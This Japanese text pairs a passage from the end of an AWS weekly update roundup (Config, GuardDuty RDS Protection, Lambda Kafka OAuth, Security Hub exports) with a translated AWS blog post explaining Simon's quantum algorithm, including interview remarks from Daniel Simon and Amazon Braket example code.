万トークン、出力 $0.50 / 100 万トークンからです。Haiku として初めて effort パラメータ (low / medium / high / xhigh / max) に対応し、タスクごとにコストと性能のバランスを調整できます。コンテキストウィンドウは 100 万トークン、最大出力は 128K トークンです。アクセス経路は Amazon Bedrock と Claude Platform on AWS の 2 つで、データレジデンシーや AWS 管理機能を重視する場合は Bedrock、Anthropic ネイティブの最新機能を使いたい場合は Claude Platform on AWS を選択します。 AWS Config が 77 の新しいリソースタイプをサポート AWS Config が新たに 77 種類のリソースタイプの記録に対応しました。対象には Amazon Q Business (6 種類)、Amazon S3 Files (4 種類)、AWS PCS (3 種類)、各種メディアサービス、GuardDuty や Inspector などのセキュリティサービスが含まれます。全リソースタイプの記録を有効化している環境では、設定変更なしで新しいリソースタイプの追跡が自動的に始まります。追加されたリソースタイプは Config rules と Config アグリゲーターでも利用できます。記録される Configuration Item (CI) が増えるため、コストへの影響を事前に確認することを推奨します。 10/8(木) Amazon GuardDuty RDS Protection が Aurora および RDS データベースでのデータ流出とデータ破壊を検出可能に Amazon GuardDuty の RDS Protection が拡張され、従来のログイン異常検知に加えて、Aurora PostgreSQL と Amazon RDS for PostgreSQL を対象としたデータ流出 (Exfiltration) およびデータ破壊 (Impact) の検出に対応しました。RDS Protection for data activity として提供され、ML による異常検知と脅威インテリジェンスを組み合わせてデータベースのクエリパターンを継続的に監視します。エージェントや追加インフラ、データベース側の設定変更は不要です。既存の RDS Protection (ログインアクティビティ) のアドオンとして有効化でき、アカウント・リージョンごとに 30 日間の無料トライアルが利用できます。 Amazon RDS for Oracle がマイナーバージョンアップグレードのプリチェックとパッチ適用ダウンタイムを短縮するのに役立つ新しい RDS イベントをサポート Amazon RDS for Oracle で、マイナーバージョンアップグレードの事前チェック (プリチェック) をユーザー自身が任意のタイミングで実行できるようになりました。新しいプロシージャ rdsadmin.rdsadmin_precheck_tasks.precheck_minor_upgrade を使うと、ストレージ不足や無効なトリガーなど、アップグレードを中断させる問題をメンテナンスウィンドウ前に検出して修正できます。あわせて、パッチ適用中に DB インスタンスが接続受付を再開した時点で発行される新イベント RDS-EVENT-0596 が追加されました。残りのメンテナンスタスクはオンラインで完了するため、このイベントを契機にアプリケーションを復帰させることで、パッチ適用時のアプリケーションダウンタイムを短縮できます。本機能は RDS for Oracle が利用可能なすべての AWS 商用リージョンと AWS GovCloud (US) リージョンで追加費用なしに利用できます。 AWS Cost Explorer、Budgets、Dashboards が Amazon Bedrock の product attributes に対応 AWS Cost Explorer、AWS Budgets、AWS Cost Management Dashboards で、Amazon Bedrock のコストを product attributes (製品属性) という新しいディメンションで分析できるようになりました。属性はモデル、モデルプロバイダー、推論タイプ、機能の 4 種類です。Cost Explorer と Dashboards ではこれらの属性によるグループ化とフィルタリング、Budgets では予算のフィルタリングに利用できます。タグの事前設定なしで「どのモデルがいくら使っているか」を標準の請求ツール上で確認できるため、ファイナンスチームやプラットフォームチームの Bedrock コスト管理に役立ちます。追加料金なしで利用できます。 10/9(金) Amazon Quickで、ブランドイメージに沿ったプレゼンテーションやドキュメントを作成するためのブランドテンプレートをサポート Amazon Quick で、組織の承認済みブランドテンプレートをアップロードし、ビジュアルアイデンティティに沿ったプレゼンテーションやドキュメントを生成できるようになりました。ブランドマネージャーが PowerPoint または Word のテンプレートを一度登録すると、Quick が色、フォント、ロゴ、レイアウト、ブランドルールを抽出し、組織全体に公開できます。利用者はチャットのたびにテンプレートファイルを探して添付する必要がなくなります。本機能は Amazon Quick デスクトップアプリで一般提供を開始しており、Enterprise エディションでのみ利用できます。 AWS Lambda がセルフマネージド Apache Kafka イベントソースの OAuth 認証をサポート AWS Lambda のセルフマネージド Apache Kafka イベントソースマッピング (ESM) が、OAuth 2.0 (SASL/OAUTHBEARER) 認証に対応しました。対象は顧客が自前で運用する Kafka クラスターに加え、Confluent Cloud、Aiven、Redpanda などのマネージドサービスです。Amazon Cognito や Okta などのエンタープライズ IdP で Lambda の Kafka コンシューマーを認証できるため、Kafka クラスターと Lambda で同一の ID ガバナンスを適用できます。従来は SASL/PLAIN、SASL/SCRAM、mTLS のみの対応だったため、OAuth 必須の規制産業では ESM を利用できませんでした。セルフマネージド Kafka ESM が利用可能なすべての AWS 商用リージョンで利用できます。 AWS Security Hub が findings の S3 への CSV / JSON 形式エクスポートに対応 AWS Security Hub が、findings を Amazon S3 バケットへ CSV または JSON (OCSF) 形式でエクスポートする機能を発表しました。コンソールの各 findings ページ (All Findings、Threats、Exposure、Vulnerabilities、Posture Management、Sensitive Data) から、適用中のフィルタを引き継いだままオンデマンドでエクスポートを開始できます。コンプライアンスレポートや監査証跡の作成のために、EventBridge などを使った抽出パイプラインを自前で構築・保守する必要がなくなります。本機能は Security Hub が利用可能なすべてのリージョンで提供されています。 それでは、また来週お会いしましょう！ 著者について 大久保 裕太(Yuta Okubo) 流通小売や飲食業界のお客様を中心にクラウド活用の技術支援を行なっているソリューションアーキテクトで、IoT 領域を得意としています。好きな AWS サービスは AWS IoT Core です。最近は、デスクワークによる姿勢の崩れを筋トレで解消しようとしています

本ブログは 2021 年 10 月 11 日に公開された AWS Blog “ Exploring Simon’s Algorithm with Daniel Simon ” を翻訳したものです。 はじめに 量子コンピューティングに取り組み始めたお客様は、基礎を学ぶときや新しいサービスを評価するときに、既知のアルゴリズムを活用することがよくあります。Amazon Braket では、そうしたアルゴリズムを SDK とマネージドノートブックに多数用意しています。この記事では、最初期に考案された量子アルゴリズムの 1 つであり、Amazon Braket のサンプルとして公開されている Simon のアルゴリズムを取り上げます。まずアルゴリズムの背景にある理論を説明し、続いて Amazon Braket を使って Simon のアルゴリズムをエンドツーエンドで実装します。さらに、Simon のアルゴリズムの考案者で AWS Cryptography の Principal Security Engineer である Daniel Simon が、自身の名を冠したアルゴリズムについて当時の背景や着想を語ります。 この記事は、Simon のアルゴリズムのサンプル Jupyter Notebook を補足するものです。このノートブックは、Amazon Braket のマネージドノートブックインスタンスを起動してサンプルノートブックのセクションを開くか、オープンソースの amazon-braket-examples GitHub リポジトリ を参照することで入手できます。より詳しい内容はノートブックをご覧ください。 Amazon Braket サンプル GitHub リポジトリ には、他の重要な量子アルゴリズムの実装も公開されています。 Simon のアルゴリズム Simon のアルゴリズムは、量子コンピュータで特定の問題を解くことにより、既知の最良の古典アルゴリズムに対して指数関数的な高速化を達成した最初の例です。1994 年に発表されたこのアルゴリズムは、よく知られた Shor の素因数分解アルゴリズムの先駆けとなり、その後の量子計算分野における多くの重要な研究に着想を与えました。 Daniel Simon: 「少し面白い経緯をお話しします。私は自分のアルゴリズムを理論計算機科学の学会 (STOC 1993) に投稿しましたが、採択されませんでした。しかし、その学会のプログラム委員会に Peter Shor がいて、同じアルゴリズム構造を素因数分解や離散対数といった具体的な問題に応用できる可能性 (正直に言えば、私はまったく気付いていませんでした) をすぐに見抜いたのです。Shor は私の論文を採択するよう委員会を説得しようとしましたが叶わず、そこで自身の研究に取り組み、次の主要な理論計算機科学の学会 (FOCS 1993) に投稿しました。私も同時に再投稿しました。実は、Shor の論文だけが採択された場合は 2 つの論文を統合することで合意していたのですが、さいわいにも委員会は両方を採択し、結果として得られた成果について、それぞれの貢献分を私たち双方に認めてくれました」 Simon の問題 Simon のアルゴリズムは、次の数学的問題を解くために設計されました。 ビット文字列をビット文字列に写す関数 f:{0,1} n →{0,1} n が与えられたとします。さらに、関数 f について、 次のいずれか が成り立つという約束 (promise) が与えられます。すなわち、入力ごとに異なる出力に写すか、あるいは異なる 2 つの入力を同じ 1 つの出力に写すかです。ただし、どちらであるかは知らされません。数学的には、 f が 1 対 1 (単射) か 2 対 1 のどちらかであり、次の約束が成り立つことを意味します。 これは、ある未知の n ビットの文字列 s∈{0,1} n に対して成り立ちます。ここで ⊕ は、ビットごとの mod 2 加算を表します。 別の言い方をすると、ある未知の文字列 s が存在し、すべての入力文字列 x に対して f(x)=f(x⊕s) が成り立ちます。 s がゼロでない場合、この関数が取る各出力値に ちょうど 2 つの入力が写るため、2 対 1 になります。 s がゼロ文字列の場合は 1 対 1 になります。 Simon のアルゴリズムの目的は f が 1 対 1 か 2 対 1 かを判定することであり、そのために秘密の文字列 s を直接求めます。実際、ここで考えているオラクルの設定では、 s を見つけることが元の問題を解くことと数学的に等価だと示せます。 Daniel Simon: 「 このアルゴリズムは『約束問題 (promise problem)』を解きます。つまり、特定の性質が約束されたオラクルの形で関数が与えられ、その約束が満たされている限り、アルゴリズムはその関数から関連する性質を引き出します。これは量子アルゴリズムにとって自然な対象です。『量子並列性』によって、指数関数的な大きさの入力空間にわたって関数を探索できるからです。量子アルゴリズムと古典アルゴリズムの差を示すこのアプローチを最初に提案したのは Deutsch と Jozsa でした。しかしこの試みは、決定論的な古典アルゴリズムと比べれば量子アルゴリズムが指数関数的に高速である一方、実際には古典的な確率的アルゴリズムで (指数関数的に小さい誤り確率で) 容易に解けてしまうものでした」 古典的な計算複雑性 Simon の問題を古典的に解くには、 f(x)=f(y) となる異なる 2 つの入力 x と y を見つけるか、あるいは同じ出力を生成する入力の組が存在しないことを示す必要があります。前者が見つかれば s=x⊕y (加算はビットごとに mod 2 で行います) が求まります。 Daniel Simon: 「これは正しくないかもしれません。関数 f の計算の詳細を何らかの方法で掘り下げることで、文字列 s を常に効率的に見つけられる魔法のようなアルゴリズムが存在する可能性もあります。しかし f をオラクルとして表現すれば、そうした仮想的な解法 (見つかることはほとんどありませんが、不可能だと証明されることもほとんどありません) を抽象化して排除できます。その結果 s を見つける道は、同じ出力を持つ入力の組を実際に見つけることだけになります」 関数 f がブラックボックスとして与えられたとき、同じ出力に写る異なる 2 つの入力を見つけるのはどれほど難しいのでしょうか。 n ビットの文字列の場合、考えられる入力は 2 n とおりあります。したがって最悪の場合、同じ出力に写る組を見つけるには最大 2 n 個の異なる入力を調べることになり、これが必要なクエリ複雑性の 上限 を与えます。では下限はどうでしょうか。古典的には Θ(2 n/2 ) 個の入力を調べる必要があることが示せますが、これも問題のサイズに対して指数関数的に増大します。この下限の直感的な理解は、(一般化された) 誕生日問題から得られます。ある集団の中で、2 人が同じ誕生日になる確率はどれくらいでしょうか。この問いを逆にして、「少なくとも 2 人が同じ誕生日である確率を一定の値より大きくするには、部屋に何人必要か」と考えることもできます。答えは、誕生日として考えられる日数 (つまり 365) の平方根程度の人数です。Simon の問題では、これは約 Θ(2 n/2 ) 個の入力を調べる必要があることに対応します。 Simon の問題に対する量子アルゴリズム Simon のアルゴリズムは、 指数関数的に 少ない回数のクエリを関数 f に行うだけで、前述の問題を解く手法です。このアルゴリズムが機能するには、未知の関数 f を量子論理ゲートで実装できる必要があります。言い換えると、ユニタリ演算子 U f によって、関数 f の作用を量子状態の変換としてエンコードする必要があります。具体的には次のようになります。 ここでの議論では、ユニタリ演算子 U f はブラックボックス (「オラクル」) として与えられ、内部の仕組みはわからないものの、前述の変換を実装していることはわかっていると仮定して構いません。オラクルモデルの利点の 1 つは、オラクルの動作原理を知る必要はなく、正しく動作することを信頼すればよい点です。Simon のアルゴリズムのノートブックでは、 f に対してよく使われるサンプルオラクルの実装を提供し、その仕組みと理由も詳しく説明しています。 量子回路 Daniel Simon: 「量子回路モデルと量子チューリングマシンモデルは等価ですが、このアルゴリズムを作った当時はそれを知らず、量子チューリングマシンの枠組みで考案しました。2 つのモデルの等価性は、その後すぐに Yao が示しています」 Simon のアルゴリズムは、量子的な部分と古典的な部分の両方から構成されます。量子部分はオラクルに効率的にクエリを実行するために使い、古典部分は測定結果を処理して隠された文字列 s を求めるために使います。量子部分の回路を次に示します。 Daniel Simon: 「この回路で最も印象的なのは、その単純さです。実際、量子計算の能力を示す例として最初に提案された Deutsch-Jozsa 回路よりもさらに単純です。そもそも、この単純なアルゴリズムは対応する問題よりも先に生まれました。私は (おそらく少々無謀にも) 古典計算が量子計算をシミュレートできることを証明しようと試みることから始めました。そして、素直な方法では古典シミュレーションが難しい設計のうち、自分が見つけられた最も単純なものがこの回路だったのです。そこでその性質を探り始め、最終的にはこの回路を基に、シミュレーションされにくいという振る舞いに合わせた問題を構成したのです」 関数 f が n ビットの文字列に作用する場合、上記の回路は 2n 量子ビットに作用します。これは U f の定義に必要な数です。測定するのは最初の n 量子ビットだけで、残りの量子ビットは U f を適用した後は使用しません。 数学的な詳細 この量子回路が、古典アルゴリズムよりも関数 f へのクエリ回数を指数関数的に少なく抑えて問題を解ける理由を理解するために、数学的な詳細にもう少し踏み込む必要があります。 Simon の問題を解くには、上記の量子回路を複数回実行します。回路を実行するたびに、最初の n 量子ビットの測定から出力ビット文字列が得られます。これを z と表します。 上記の回路を解析すると、各出力ビット文字列 z が次の条件を満たすことがわかります。 なぜこうなるのか、回路を段階的に解析して確認しましょう。各ステップの数学的な詳細は、付属のノートブックにすべて掲載されています。 すべての量子ビットを | 0 ⟩ 状態に初期化します。 最初の n 量子ビットのそれぞれにアダマールゲートを適用し、均等な重ね合わせ状態にします。 オラクル U f を適用します。これにより関数 f の計算結果が後半の n 量子ビットに書き込まれます。 後半の n 量子ビットを測定し、ランダムな結果 f(x) を得ます。 f が 1 対 1 の場合、この f の出力は入力 x に対応します。 f が 2 対 1 の場合、 f の出力は入力 x または y=x+s のいずれかに対応します。ここで x と y は f への 2 つの異なる入力で、 同じ 出力 f(x)=f(y) を与えます。なお、測定結果自体は使わないためこのステップは厳密には不要ですが、解析をわかりやすくするために含めています。 Daniel Simon: 私は確かにこのステップを実行することを想定していました。この単純化がなければ、アルゴリズムを考え抜くのはずっと難しかったでしょう…… 最初の n 量子ビットのそれぞれにアダマールゲートを適用します。 f が 1 対 1 の場合、状態 | x ⟩ は次のように写ります。 ここで x·z は、ベクトルとして表した 2 つの文字列の内積 (mod 2) です。 Daniel Simon: アダマールゲートが生み出す位相をこのように特徴づけられると気付くまでには、しばらく時間がかかりました。しかしこれが、アルゴリズムから興味深い情報を引き出す鍵になりました。論文発表前にバークレーで Ethan Bernstein と Umesh Vazirani へこのアルゴリズムを初めて説明したとき、私は誇らしげにこの重要な事実を指摘しました。すると Umesh はすぐにうなずいて「そうだね」と言い、あまりに当たり前のことを若手研究者に指摘された人特有の、うんざりした表情を浮かべたのです。2 人はこの事実にずっと前から気付いていて、単にそれをどう活用するかに思い至っていなかっただけなのは明らかでした。 同様に、 f が 2 対 1 の場合、状態 ( | x ⟩+| y ⟩ )/√2 は次のように写ります。 最初の n 量子ビットを測定します。 f が 1 対 1 の場合、測定によってランダムなビット文字列 z が得られます。この文字列は {0,1} n から一様に選ばれます。 f が 2 対 1 の場合、測定によってランダムなビット文字列 z が得られ、これは x·z=y·z mod 2 を満たします。そうでなければ振幅 (−1) (x·z) +(−1) (y·z) が打ち消し合ってしまうためです。Simon の問題の条件 (f(x)=f(y)⟹x=y⊕s) を使うと、次が得られます。 このように、どちらの場合も s·z=0 を満たすランダムなビット文字列 z が得られます。 したがって、上記の量子回路を実行するたびに、秘密の文字列 s と直交するビット文字列 z が 1 つ見つかります。 Daniel Simon: もともと私は、一般的な 1 対 1 の関数と 2 対 1 の関数を区別する方法を探していました。しかし、衝突する 2 つの入力の排他的論理和である s が、一般的な 2 対 1 の関数では任意に変化してしまうため行き詰まりました。最終的に、約束問題の「約束」として定義すれば s を関数全体で一定にできると思いつき、そこから結果が導かれたのです。 古典的な後処理 測定結果 {z 1 ,…,z k } から、連立方程式 {z k ·s=0 mod 2} を作れます。 方程式は k 個、未知数は n 個 ( s の各要素) です。量子部分を十分な回数実行して n 個の 独立 した方程式が得られれば、これらを (例えばガウスの消去法で) 解いて秘密の文字列 s を復元できます。必要となる古典的な後処理はまさにこれで、上記で得た連立方程式を解いて文字列 s を復元します。さらに詳しい内容は、ノートブックの付録を参照してください。 量子的な計算複雑性 上記の量子回路を O(n) 回実行すれば、 s を求めるのに使える n 個の線形独立な方程式が得られます。したがって Simon の問題は、 O(n) 回のクエリを U f に行うことで解けます。古典アルゴリズムには Ω(2 n/2 ) 回のクエリが必要なので、量子アルゴリズムによる 指数関数的な 高速化が示されます。 Amazon Braket での実装 まず、 simons_oracle という、 amazon-braket-examples リポジトリに実装されている メソッドをインポートします。このメソッドは、秘密の関数 f に対する特定の量子オラクルを実装したものです。この関数と量子実装の詳細は、ノートブックの付録で説明しています。 simons_oracle メソッドは秘密の文字列 s を受け取ります。この文字列は最初に決めておき、同じ文字列 s を復元することが目標になります。 # Implemented in NBI / example notebook utils from simons_utils import simons_oracle s = '101011' # Secret string n = len(s) circ = Circuit() # Apply Hadamard gates to the first n qubits circ.h(range(n)) # Apply the Oracle for f. See NBI / notebook for implementation circ.simons_oracle(s) # Apply Hadamard gates to the first n qubits circ.h(range(n)) print(circ) このコードスニペットは、次の回路を生成します。 T : |0| 1 | 2 |3|4|5|6| q0 : -H-C-----------C---C-C-C-H- | | | | | q1 : -H-|-C---------|-H-|-|-|--- | | | | | | q2 : -H-|-|-C-------|-H-|-|-|--- | | | | | | | q3 : -H-|-|-|-C-----|-H-|-|-|--- | | | | | | | | q4 : -H-|-|-|-|-C---|-H-|-|-|--- | | | | | | | | | q5 : -H-|-|-|-|-|-C-|-H-|-|-|--- | | | | | | | | | | q6 : ---X-|-|-|-|-|-X---|-|-|--- | | | | | | | | q7 : -----X-|-|-|-|-----|-|-|--- | | | | | | | q8 : -------X-|-|-|-----X-|-|--- | | | | | q9 : ---------X-|-|-------|-|--- | | | | q10 : -----------X-|-------X-|--- | | q11 : -------------X---------X--- T : |0| 1 | 2 |3|4|5|6| 次に、Amazon Braket のローカルシミュレーターでこの回路を 4n 回実行します。ショット数を 4n にすることで、 s を求めるのに使える線形独立なサンプルを、高い確率で少なくとも n 個得られます。 # Sets the device to run the circuit on device = LocalSimulator() # Run the circuit 4n times, should be sufficient to get n independent bit strings task = device.run(circ, shots=4*n) これで完了です。残りの処理はすべて古典的なものです。前述の「古典的な後処理」セクションで説明したとおり、これらの測定結果が連立一次方程式を定義し、それを解くことで古典的な文字列 s を復元できます。この例をご自身で通して実行したい場合は、 Simon のアルゴリズムのノートブック のコードを参照してください。このノートブックは Amazon Braket サンプルリポジトリ で公開されています。リポジトリ内のサンプルは Amazon Braket のノートブックにもプリインストールされているため、すぐに使い始められます。 まとめ Simon のアルゴリズムは、量子情報理論と量子計算の初期の基礎を築いた重要な成果です。今日では、実装が単純で 1 回の講義で扱えることから、量子情報理論を学ぶ学生に、コアカリキュラムの一部としてよく教えられています。しかし、このアルゴリズムには、その単純さからはうかがい知れない重要性があります。Simon のアルゴリズムで発見された概念は、今日の高度な量子アルゴリズムの多くにも見られます。 Grant Salton Grant Salton は Amazon Quantum Solutions Lab の Senior Research Scientist です。スタンフォード大学で博士号を取得し、量子情報理論、量子アルゴリズム、量子誤り訂正、近未来の量子デバイスの応用、そして基礎物理学の他分野 (例えば重力) における量子情報の役割を研究テーマとしています。Amazon に入社する前は、カリフォルニア工科大学 IQIM のポストドクトラルフェローを務めていました。 Daniel Simon Daniel Simon は AWS Cryptography グループの Principal Security Engineer です。25 年以上にわたり暗号技術と情報セキュリティに携わり、暗号技術、情報セキュリティ、量子計算に関する研究成果を発表しています。トロント大学でコンピュータサイエンスの博士号を取得しています。 Cedric Lin Cedric Yen-Yu Lin は Amazon Braket の Sr. Applied Scientist です。以前は Google でソフトウェアエンジニアとして勤務し、主に最適化に用いるデータパイプラインとアルゴリズムを設計・構築していました。マサチューセッツ工科大学で物理学の博士号を取得し、数年にわたり量子アルゴリズムの開発と、量子計算複雑性の手法を通じたその限界の解明に取り組んできました。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。